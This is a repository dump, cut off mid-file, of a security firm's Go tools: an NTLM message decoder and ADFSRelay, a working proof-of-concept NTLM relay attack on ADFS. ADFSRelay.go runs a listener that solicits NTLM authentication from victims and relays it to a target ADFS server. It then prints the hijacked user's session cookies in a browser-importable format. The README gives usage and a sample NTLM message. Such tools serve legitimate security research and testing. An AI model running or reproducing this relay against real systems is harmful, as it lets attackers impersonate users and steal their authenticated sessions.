Repository: praetorian-inc/ADFSRelay Branch: main Commit: 1786138e68c2 Files: 15 Total size: 84.6 KB Directory structure: gitextract_wftfh0c1/ ├── .github/ │ └── workflows/ │ └── release.yml ├── .gitignore ├── LICENSE ├── README.md ├── cmd/ │ ├── ADFSRelay/ │ │ └── ADFSRelay.go │ └── NTLMParse/ │ └── NTLMParse.go ├── go.mod ├── go.sum └── pkg/ ├── cookies/ │ ├── datatypes.go │ └── export.go └── ntlm/ ├── datatypes.go ├── debug.go ├── decoder.go ├── ntlm.go └── ntlm_test.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/workflows/release.yml ================================================ # Copyright 2022 Praetorian Security, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. on: push: # Sequence of patterns matched against refs/tags tags: - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10 jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Setup Go Build Environment uses: actions/setup-go@v2 with: go-version: '1.18.3' - name: Install dependencies run: go mod download - name: Build ADFSRelay run: go build ./cmd/ADFSRelay - name: Build NTLMParse run: go build ./cmd/NTLMParse - name: Create Release uses: softprops/action-gh-release@v1 with: files: | ADFSRelay NTLMParse env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .gitignore ================================================ **/.DS_Store ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. 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We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: README.md ================================================ # Overview This repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-encoded NTLM messages and printing information about the underlying properties and fields within the message. Examining these NTLM messages is helpful when researching the behavior of a particular NTLM implementation. ADFSRelay is a proof of concept utility developed while researching the feasibility of NTLM relaying attacks targeting the ADFS service. This utility can be leveraged to perform NTLM relaying attacks targeting ADFS. We have also released a blog post discussing ADFS relaying attacks in more detail [1]. # NTLMParse Usage To use the NTLMParse utility you simply need to pass a Base64 encoded message to the application and it will decode the relevant fields and structures within the message. The snippet given below shows the expected output of NTLMParse when it is invoked: ``` ➜ ~ pbpaste | NTLMParse (ntlm.AUTHENTICATE_MESSAGE) { Signature: ([]uint8) (len=8 cap=585) { 00000000 4e 54 4c 4d 53 53 50 00 |NTLMSSP.| }, MessageType: (uint32) 3, LmChallengeResponseFields: (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen uint16; LmChallengeResponseBufferOffset uint32; LmChallengeResponse []uint8 }) { LmChallengeResponseLen: (uint16) 24, LmChallengeResponseMaxLen: (uint16) 24, LmChallengeResponseBufferOffset: (uint32) 160, LmChallengeResponse: ([]uint8) (len=24 cap=425) { 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 |........| } }, NtChallengeResponseFields: (struct { NtChallengeResponseLen uint16; NtChallengeResponseMaxLen uint16; NtChallengeResponseBufferOffset uint32; NtChallengeResponse []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) { NtChallengeResponseLen: (uint16) 384, NtChallengeResponseMaxLen: (uint16) 384, NtChallengeResponseBufferOffset: (uint32) 184, NtChallengeResponse: ([]uint8) (len=384 cap=401) { 00000000 30 eb 30 1f ab 4f 37 4d 79 59 28 73 38 51 19 3b |0.0..O7MyY(s8Q.;| 00000010 01 01 00 00 00 00 00 00 89 5f 6d 5c c8 72 d8 01 |........._m\.r..| 00000020 c9 74 65 45 b9 dd f7 35 00 00 00 00 02 00 0e 00 |.teE...5........| 00000030 43 00 4f 00 4e 00 54 00 4f 00 53 00 4f 00 01 00 |C.O.N.T.O.S.O...| 00000040 1e 00 57 00 49 00 4e 00 2d 00 46 00 43 00 47 00 |..W.I.N.-.F.C.G.| ``` Below is a sample NTLM AUTHENTICATE_MESSAGE message that can be used for testing: ` TlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4AggAAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAEkARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhRGTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQAeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBPAC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAABAAAAACAAABQaOHb4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJAD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ= ` # ADFSRelay Usage The single required argument for ADFSRelay is the URL of the ADFS server to target for an NTLM relaying attack. Three optional arguments are -debug to enable debugging mode, -port to define the port the service should listen on, and -help to display the help menu. An example help menu is given below: ``` ➜ ~ ADFSRelay -h Usage of ADFSRelay: -debug Enables debug output -help Show the help menu -port int The port the HTTP listener should listen on (default 8080) -targetSite string The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com) ➜ ~ ``` # References [1] https://www.praetorian.com/blog/relaying-to-adfs-attacks/ ================================================ FILE: cmd/ADFSRelay/ADFSRelay.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( "encoding/base64" "encoding/json" "flag" "fmt" "net/http" "net/url" "os" "strings" "github.com/davecgh/go-spew/spew" "github.com/google/uuid" "github.com/praetorian-in/ADFSRelay/pkg/cookies" "github.com/praetorian-in/ADFSRelay/pkg/ntlm" ) var ( targetSite string debug bool ) func ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) { clientRequestID := r.URL.Query().Get("client-request-id") MSISSamlRequest := "" for _, cookie := range r.Cookies() { if cookie.Name == "MSISSamlRequest" { MSISSamlRequest = cookie.Value } } if clientRequestID == "" { if MSISSamlRequest == "" { clientRequestID = uuid.New().String() MSISamlRequest, err := GetMSISAMLRequestCookie(clientRequestID) if err != nil { fmt.Printf("Error handling initial client request: %v\n", err) return } cookie := http.Cookie{Name: "MSISSamlRequest", Value: MSISamlRequest} http.SetCookie(w, &cookie) http.Redirect(w, r, "/?client-request-id="+url.QueryEscape(clientRequestID), http.StatusMovedPermanently) return } } authorizationHeaderValue, ok := r.Header["Authorization"] if !ok { w.Header().Add("WWW-Authenticate", "Negotiate") w.Header().Add("WWW-Authenticate", "NTLM") w.WriteHeader(http.StatusUnauthorized) return } authenticateHeaderValue := strings.Split(authorizationHeaderValue[0], " ") if len(authenticateHeaderValue) != 2 { fmt.Print("Error Authorization header should have two values separated by a space") return } if authenticateHeaderValue[0] != "Negotiate" && authenticateHeaderValue[0] != "NTLM" { fmt.Printf("Error Authorization header should begin with either NTLM or Negotiate") return } encodedMessage := authenticateHeaderValue[1] decodedString, err := base64.StdEncoding.DecodeString(encodedMessage) if err != nil { fmt.Println("Unable to decode base64 string, err: ", err) return } rawBytes := []byte(decodedString) ntlmMessage, err := ntlm.DecodeMessage(rawBytes) if err != nil { fmt.Println("Input is not a valid NTLM message, err: ", err) return } switch v := ntlmMessage.(type) { case *ntlm.NEGOTIATE_MESSAGE: if debug { spew.Dump(*v) } encodedChallengeMessage, err := SendNegotiateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0]) if err != nil { fmt.Println("Error getting challenge message from ADFS server, err: ", err) return } wwwAuthenticateValues := strings.Split(encodedChallengeMessage, " ") if len(wwwAuthenticateValues) != 2 { fmt.Println("Error Www-Authenticate header should have two values separated by a space") return } decodedString, err := base64.StdEncoding.DecodeString(wwwAuthenticateValues[1]) if err != nil { fmt.Println("Unable to decode base64 string, err: ", err) return } rawBytes := []byte(decodedString) challengeMessage, err := ntlm.DecodeMessage(rawBytes) if err != nil { fmt.Println("Input is not a valid NTLM message, err: ", err) return } fmt.Println("Got challenge message from the ADFS server, forwarding to the client") if debug { spew.Dump(challengeMessage) } w.Header().Add("WWW-Authenticate", encodedChallengeMessage) w.WriteHeader(http.StatusUnauthorized) case *ntlm.AUTHENTICATE_MESSAGE: if debug { spew.Dump(*v) } fmt.Println("Got an authenticate message from the client, forwarding to the ADFS server") returnedCookies, err := SendAuthenticateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0]) if err != nil { fmt.Println("error authenticating to ADFS server, err: ", err) } for _, avPairs := range v.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs { if avPairs.AvId == ntlm.MsvChannelBindings { fmt.Println("Client included a channel binding token in the AUTHENTICATE_MESSAGE") } } exportedCookies := cookies.ExportCookiesToCookieEditorFormat(returnedCookies) jsonData, err := json.Marshal(exportedCookies) if err != nil { fmt.Println("error marshalling cookies, err: ", err) } username := string(v.UserNameFields.UserName) domain := string(v.DomainNameFields.DomainName) fmt.Printf("Successfully authenticated to ADFS as user: %s\\%s\n", domain, username) fmt.Println("Session Cookies:", string(jsonData)) } } func SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) (string, error) { httpClient := http.Client{} apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID) req, err := http.NewRequest("GET", apiUrl, nil) if err != nil { return "", fmt.Errorf("error creating ADFS POST request: %v", err) } req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)") cookie := &http.Cookie{ Name: "MSISSamlRequest", Value: MSISSamlRequest, } req.AddCookie(cookie) req.Header.Add("Authorization", headerVal) r, err := httpClient.Do(req) if err != nil { return "", fmt.Errorf("error sending ADFS POST request: %v", err) } encodedChallengeMessage, ok := r.Header["Www-Authenticate"] if !ok { return "", fmt.Errorf("missing required Www-Authenticate header") } if debug { fmt.Printf("Www-Authenticate header is present with value %s\n", encodedChallengeMessage[0]) } split := strings.Split(encodedChallengeMessage[0], " ") if len(split) != 2 { return "", fmt.Errorf("error Www-Authenticate header should have two values separated by a space") } if split[0] != "Negotiate" && split[0] != "NTLM" { return "", fmt.Errorf("error Www-Authenticate header begin with either NTLM or Negotiate") } return encodedChallengeMessage[0], nil } func SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) ([]*http.Cookie, error) { httpClient := http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID) req, err := http.NewRequest("GET", apiUrl, nil) if err != nil { return nil, fmt.Errorf("error creating request: %v", err) } req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)") cookie := &http.Cookie{ Name: "MSISSamlRequest", Value: MSISSamlRequest, } req.AddCookie(cookie) req.Header.Add("Authorization", headerVal) r, err := httpClient.Do(req) if err != nil { return nil, fmt.Errorf("error sending request: %v", err) } if r.StatusCode == 401 { return nil, fmt.Errorf("server returned 401 either the credentials are invalid or EPA is blocking authentication") } return r.Cookies(), nil } func GetMSISAMLRequestCookie(clientRequestID string) (string, error) { httpClient := http.Client{} form := url.Values{} form.Add("SignInIdpSite", "SignInIdpSite") form.Add("SignInSubmit", "Sign+in") form.Add("SingleSignOut", "SingleSignOut") apiUrl := targetSite + "/adfs/ls/idpinitiatedsignon.aspx?client-request-id=" + url.QueryEscape(clientRequestID) req, err := http.NewRequest("POST", apiUrl, strings.NewReader(form.Encode())) req.Header.Add("Content-Type", "application/x-www-form-urlencoded") if err != nil { return "", fmt.Errorf("error creating request: %v", err) } r, err := httpClient.Do(req) if err != nil { return "", fmt.Errorf("error sending request: %v", err) } MSISSamlRequest := "" for _, cookie := range r.Cookies() { if cookie.Name == "MSISSamlRequest" { MSISSamlRequest = cookie.Value } } if MSISSamlRequest == "" { return "", fmt.Errorf("expected MSISAMLRequest cookie from the server") } return MSISSamlRequest, nil } func main() { var err error var debugFlag bool var listenPortFlag int var targetSiteFlag string helpFlag := flag.Bool("help", false, "Show the help menu") flag.IntVar(&listenPortFlag, "port", 8080, "The port the HTTP listener should listen on") flag.StringVar(&targetSiteFlag, "targetSite", "", "The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)") flag.BoolVar(&debugFlag, "debug", false, "Enables debug output") if *helpFlag { flag.Usage() os.Exit(0) } flag.Parse() if *helpFlag { flag.Usage() return } if targetSiteFlag == "" { fmt.Println("The -targetSite parameter is required") flag.Usage() return } if listenPortFlag < 0 || listenPortFlag > 65535 { fmt.Println("Invalid listener port flag specified") return } listenPort := fmt.Sprintf(":%d", listenPortFlag) _, err = url.Parse(targetSiteFlag) if err != nil { fmt.Println("Invalid target site URL: ", err) } fmt.Println("Starting ADFS relaying targeting:", targetSiteFlag) targetSite = targetSiteFlag debug = debugFlag if debug { fmt.Println("Debug mode enabled") } http.HandleFunc("/", ADFSRelayStateHandler) err = http.ListenAndServe(listenPort, nil) if err != nil { fmt.Printf("error trying to listen on HTTP on port: %s, err: %v", listenPort, err) return } } ================================================ FILE: cmd/NTLMParse/NTLMParse.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( "encoding/base64" "fmt" "github.com/davecgh/go-spew/spew" "github.com/praetorian-in/ADFSRelay/pkg/ntlm" ) func main() { var input string fmt.Scanln(&input) decodedString, err := base64.StdEncoding.DecodeString(input) if err != nil { fmt.Println("Unable to decode base64 string, err: ", err) return } rawBytes := []byte(decodedString) ntlmMessage, err := ntlm.DecodeMessage(rawBytes) if err != nil { fmt.Println("Input is not a valid NTLM message, err: ", err) return } switch v := ntlmMessage.(type) { case *ntlm.NEGOTIATE_MESSAGE: spew.Dump(*v) case *ntlm.CHALLENGE_MESSAGE: spew.Dump(*v) case *ntlm.AUTHENTICATE_MESSAGE: spew.Dump(*v) } } ================================================ FILE: go.mod ================================================ module github.com/praetorian-in/ADFSRelay go 1.17 require ( github.com/davecgh/go-spew v1.1.1 github.com/google/uuid v1.3.0 ) ================================================ FILE: go.sum ================================================ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= ================================================ FILE: pkg/cookies/datatypes.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package cookies type CookieEditorExportFormat struct { Name string `json:"name"` Value string `json:"value"` Domain string `json:"domain"` HostOnly bool `json:"hostOnly"` Path string `json:"path"` Secure bool `json:"secure"` HTTPOnly bool `json:"httpOnly"` SameSite string `json:"sameSite"` Session bool `json:"session"` FirstPartyDomain string `json:"firstPartyDomain"` PartitionKey interface{} `json:"partitionKey"` StoreID interface{} `json:"storeId"` } ================================================ FILE: pkg/cookies/export.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package cookies import "net/http" func ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieEditorExportFormat { var cookieEditorExportFormat []CookieEditorExportFormat for _, cookie := range cookies { cookieEditorExportFormat = append(cookieEditorExportFormat, CookieEditorExportFormat{ Name: cookie.Name, Value: cookie.Value, Domain: cookie.Domain, HostOnly: false, Path: cookie.Path, Secure: cookie.Secure, HTTPOnly: cookie.HttpOnly, SameSite: "no_restriction", Session: true, FirstPartyDomain: "", PartitionKey: nil, StoreID: nil, }) } return cookieEditorExportFormat } ================================================ FILE: pkg/ntlm/datatypes.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ntlm const ( // NTLM message size minimum sizes NTLM_MINIMUM_HEADER_SIZE = 12 NTLM_MINIMUM_NEGOTIATE_SIZE = 32 NTLM_MINIMUM_CHALLENGE_SIZE = 48 NTLM_MINIMUM_AUTHENTICATE_SIZE = 64 // NTLM Message Types MESSAGE_TYPE_NEGOTIATE = 0x1 MESSAGE_TYPE_CHALLENGE = 0x2 MESSAGE_TYPE_AUTHENTICATE = 0x3 // NTLM Valid AvId Values MsvAvEOL = 0x0000 MsvAvNbComputerName = 0x0001 MsvAvNbDomainName = 0x0002 MsvAvDnsComputerName = 0x0003 MsvAvDnsDomainName = 0x0004 MsvAvDnsTreeName = 0x0005 MsvAvFlags = 0x0006 MsvAvTimestamp = 0x0007 MsvAvSingleHost = 0x0008 MsvAvTargetName = 0x0009 MsvChannelBindings = 0x000A // MsvAvFlags Values AccountAuthenticationConstrained = 0x00000001 MessageIntegrityCodeIncluded = 0x00000002 ServicePrincipalNameIncluded = 0x00000004 ) var ( NTLM_SIGNATURE = [8]byte{0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00} ) type NEGOTIATE_MESSAGE struct { Signature []byte MessageType uint32 NegotiateFlags uint32 DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS DomainNameFields struct { DomainNameLen uint16 DomainNameMaxLen uint16 DomainNameBufferOffset uint32 DomainName []byte } WorkstationFields struct { WorkstationLen uint16 WorkstationMaxLen uint16 WorkstationBufferOffset uint32 WorkstationName []byte } Version NTLM_VERSION_INFO_DEBUG } type CHALLENGE_MESSAGE struct { Signature []byte MessageType uint32 TargetNameFields struct { TargetNameLen uint16 TargetNameMaxLen uint16 TargetNameBufferOffset uint32 TargetName []byte } NegotiateFlags uint32 DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS ServerChallenge []byte Reserved []byte TargetInfoFields struct { TargetInfoLen uint16 TargetInfoMaxLen uint16 TargetInfoBufferOffset uint32 TargetInfo []byte } DecodedTargetInfo DECODED_TARGET_INFO Version NTLM_VERSION_INFO_DEBUG } type AUTHENTICATE_MESSAGE struct { Signature []byte MessageType uint32 LmChallengeResponseFields struct { LmChallengeResponseLen uint16 LmChallengeResponseMaxLen uint16 LmChallengeResponseBufferOffset uint32 LmChallengeResponse []byte } NtChallengeResponseFields struct { NtChallengeResponseLen uint16 NtChallengeResponseMaxLen uint16 NtChallengeResponseBufferOffset uint32 NtChallengeResponse []byte NTLMv2Response NTLMv2_RESPONSE } DomainNameFields struct { DomainNameLen uint16 DomainNameMaxLen uint16 DomainNameBufferOffset uint32 DomainName []byte } UserNameFields struct { UserNameLen uint16 UserNameMaxLen uint16 UserNameBufferOffset uint32 UserName []byte } WorkstationFields struct { WorkstationLen uint16 WorkstationMaxLen uint16 WorkstationBufferOffset uint32 Workstation []byte } EncryptedRandomSessionKeyFields struct { EncryptedRandomSessionKeyLen uint16 EncryptedRandomSessionKeyMaxLen uint16 EncryptedRandomSessionKeyBufferOffset uint32 EncryptedRandomSessionKey []byte } NegotiateFlags uint32 DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS Version NTLM_VERSION_INFO_DEBUG MIC []byte } type NTLM_VERSION_INFO_DEBUG struct { ProductMajorVersion uint8 ProductMinorVersion uint8 ProductBuild uint16 Reserved []byte NTLMRevisionCurrent byte } type DECODED_NEGOTIATE_FLAGS struct { NTLM_NEGOTIATE_56 bool NTLM_NEGOTIATE_KEY_EXCH bool NTLM_NEGOTIATE_128 bool R1 bool R2 bool R3 bool NTLM_NEGOTIATE_VERSION bool R4 bool NTLM_NEGOTIATE_TARGET_INFO bool NTLM_REQUEST_NON_NT_SESSION_KEY bool R5 bool NTLMSSP_NEGOTIATE_IDENTIFY bool NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY bool R6 bool NTLMSSP_TARGET_TYPE_SERVER bool NTLMSSP_TARGET_TYPE_DOMAIN bool NTLMSSP_NEGOTIATE_ALWAYS_SIGN bool R7 bool NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED bool NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED bool ANONYMOUS_CONNECTION bool R8 bool NTLMSSP_NEGOTIATE_NTLM bool R9 bool NTLMSSP_NEGOTIATE_LM_KEY bool NTLMSSP_NEGOTIATE_DATAGRAM bool NTLMSSP_NEGOTIATE_SEAL bool NTLMSSP_NEGOTIATE_SIGN bool R10 bool NTLMSSP_REQUEST_TARGET bool NTLM_NEGOTIATE_OEM bool NTLMSSP_NEGOTIATE_UNICODE bool } type DECODED_TARGET_INFO struct { AvPairs []AV_PAIR } type AV_PAIR struct { AvId uint16 AvLen uint16 AvData []byte } type NTLMv2_RESPONSE struct { Response []byte ClientChallenge NTLMv2_CLIENT_CHALLENGE } type NTLMv2_CLIENT_CHALLENGE struct { RespType byte HiRespType byte Reserved1 []byte Reserved2 []byte TimeStamp []byte ChallengeFromClient []byte Reserved3 []byte AvPairs []AV_PAIR } ================================================ FILE: pkg/ntlm/debug.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ntlm import "fmt" func (*NEGOTIATE_MESSAGE) Print() { fmt.Println("Printing Contents of NEGOTIATE_MESSAGE") } func (*CHALLENGE_MESSAGE) Print() { fmt.Println("Printing Contents of CHALLENGE_MESSAGE") } func (*AUTHENTICATE_MESSAGE) Print() { fmt.Println("Printing contents of AUTHENTICATE_MESSAGE") } ================================================ FILE: pkg/ntlm/decoder.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ntlm func decodeInt16LittleEndian(rawBytes []byte) uint16 { return uint16(rawBytes[0]) | uint16(rawBytes[1])<<8 } func decodeInt32LittleEndian(rawBytes []byte) uint32 { return uint32(rawBytes[0]) | uint32(rawBytes[1])<<8 | uint32(rawBytes[2])<<16 | uint32(rawBytes[3])<<24 } ================================================ FILE: pkg/ntlm/ntlm.go ================================================ // Copyright 2022 Praetorian Security, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ntlm import ( "bytes" "fmt" ) func DecodeMessage(rawBytes []byte) (interface{}, error) { if len(rawBytes) < 12 { return nil, fmt.Errorf("NTLM message too short header must be at least 12 bytes") } signature := rawBytes[:8] if !bytes.Equal(signature, NTLM_SIGNATURE[:]) { return nil, fmt.Errorf("NTLM signature mismatch") } messageType := rawBytes[8:12][0] switch messageType { case MESSAGE_TYPE_NEGOTIATE: return DecodeNegotiateMessage(rawBytes) case MESSAGE_TYPE_CHALLENGE: return DecodeChallengeMessage(rawBytes) case MESSAGE_TYPE_AUTHENTICATE: return DecodeAuthenticateMessage(rawBytes) default: return nil, fmt.Errorf("NTLM invalid message type specified") } } func DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) { var NegotiateMessage NEGOTIATE_MESSAGE if len(rawBytes) < NTLM_MINIMUM_NEGOTIATE_SIZE { return nil, fmt.Errorf("NTLM message too short") } NegotiateMessage.Signature = rawBytes[:8] NegotiateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12]) NegotiateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[12:16]) NegotiateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(NegotiateMessage.NegotiateFlags) NegotiateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[16:18]) NegotiateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[18:20]) NegotiateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[20:24]) NegotiateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[24:26]) NegotiateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[26:28]) NegotiateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[28:32]) if NegotiateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION { if len(rawBytes) < 40 { return nil, fmt.Errorf("NTLM message too short") } NegotiateMessage.Version.ProductMajorVersion = rawBytes[32] NegotiateMessage.Version.ProductMinorVersion = rawBytes[33] NegotiateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[34:36]) NegotiateMessage.Version.Reserved = rawBytes[36:39] NegotiateMessage.Version.NTLMRevisionCurrent = rawBytes[39] } DomainNameFields := NegotiateMessage.DomainNameFields beginOffset := DomainNameFields.DomainNameBufferOffset endOffset := beginOffset + uint32(DomainNameFields.DomainNameLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("DomainName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } NegotiateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset] WorkstationFields := NegotiateMessage.WorkstationFields beginOffset = WorkstationFields.WorkstationBufferOffset endOffset = beginOffset + uint32(WorkstationFields.WorkstationLen) if endOffset > uint32(len(rawBytes)) { return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) } NegotiateMessage.WorkstationFields.WorkstationName = rawBytes[beginOffset:endOffset] return &NegotiateMessage, nil } func DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) { var ChallengeMessage CHALLENGE_MESSAGE var err error if len(rawBytes) < NTLM_MINIMUM_CHALLENGE_SIZE { return nil, fmt.Errorf("buffer is too short for a challenge message") } ChallengeMessage.Signature = rawBytes[:8] ChallengeMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12]) ChallengeMessage.TargetNameFields.TargetNameLen = decodeInt16LittleEndian(rawBytes[12:14]) ChallengeMessage.TargetNameFields.TargetNameMaxLen = decodeInt16LittleEndian(rawBytes[14:16]) 